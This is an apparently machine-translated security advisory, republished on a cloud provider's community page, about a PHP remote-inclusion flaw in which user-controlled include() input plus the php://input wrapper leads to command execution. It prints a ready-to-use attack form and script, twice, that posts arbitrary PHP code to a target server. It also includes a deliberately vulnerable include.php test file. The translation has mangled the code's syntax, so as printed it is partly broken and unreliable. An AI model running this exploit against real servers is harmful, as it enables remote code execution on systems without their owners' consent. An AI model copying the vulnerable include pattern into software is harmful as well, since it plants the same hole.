PHP Input/Ouput Wrapper remote inclusion Function Command Execution Vulnerability

Source: Internet
Author: User

PHP Input/Ouput Wrapper remote inclusion of Function Command Execution Vulnerability (Other, defect)

Involved procedures:
PHP Input/Ouput Wrapper

Description:
PHP Input/Ouput Wrapper remote inclusion Function Command Execution Vulnerability

Details:
PHP is a popular WEB Server programming language.

PHP include () functions have design flaws. Remote attackers can exploit this vulnerability to execute arbitrary commands with WEB permissions.

A PHP design error. When URI data is used as a parameter of the include () function, attackers can submit the post php Command for execution. This problem affects the PHP module, although the problem only occurs when the application uses the URI data provided by the user as the include () function.

This vulnerability allows you to run arbitrary commands on the WEB.


Affected Systems:
PHP 5.0 RC2
PHP 5.0 RC1
PHP 4.3.6
PHP 4.3.3
PHP 4.3.2
PHP 4.3.1
PHP 4.3.0

Attack method:
Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Slythers provides the following test methods:

<Form action = "" methode = "post">
Target server: <input type = "text" name = "server"> <br>
Target file (including URI parameter used in include () call ex: "index. php? IncludeParam = "): <input type =" text "name =" file "> <br>
Exec (enclose php commands between <? ...?> Tags): <input type = "text" name = "cmd"> <br>
<INPUT type = "submit" value = "send">
</Form>

<?
If ($ cmd ){
$ Message = "POST/". $ file. "php: // input HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: fr ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2 )";
$ Message. = "Host:". $ server ."";
$ Message. = "Content-length:". strlen ($ cmd )."";
$ Message. = "Connection: Keep-Alive ";
$ Message. = "Cache-Control: no-cache ";
$ Message. = "";
$ Message. = $ cmd ."";
$ Fd = fsockopen ($ server, 80 );
Fputs ($ fd, $ message );
While (! Feof ($ fd )){
Echo fgets ($ fd, 1280 );
}
Fclose ($ fd );
}
?>

Local test:

Php environment:

PHP Version 5.2.6
-------------------------------------------- Include. php --------------------------------------------------------------------


-------------------------------------------- Include. php --------------------------------------------------------------------

<? Php
$ A = $ _ GET [a];
Include ($ );
?>

------------------------------------------ Input. php --------------------------------------------------------------------

<Form action = "" methode = "post">
Target server: <input type = "text" name = "server"> <br>
Target file (including URI parameter used in include () call ex: "index. php? IncludeParam = "): <input type =" text "name =" file "> <br>
Exec (enclose php commands between tags): <input type = "text" name = "cmd"> <br>
<INPUT type = "submit" value = "send">
</Form>

<?
If ($ cmd ){
$ Message = "POST/". $ file. "php: // input HTTP/1.1 ";
$ Message. = "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash ,*/*";
$ Message. = "Accept-Language: fr ";
$ Message. = "Content-Type: application/x-www-form-urlencoded ";
$ Message. = "Accept-Encoding: deflate ";
$ Message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2 )";
$ Message. = "Host:". $ server ."";
$ Message. = "Content-length:". strlen ($ cmd )."";
$ Message. = "Connection: Keep-Alive ";
$ Message. = "Cache-Control: no-cache ";
$ Message. = "";
$ Message. = $ cmd ."";
$ Fd = fsockopen ($ server, 80 );
Fputs ($ fd, $ message );
While (! Feof ($ fd )){
Echo fgets ($ fd, 1280 );
}
Fclose ($ fd );
}
?>

------------------------------------------ Input. php --------------------------------------------------------------------


Test:


Figure 1.


 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.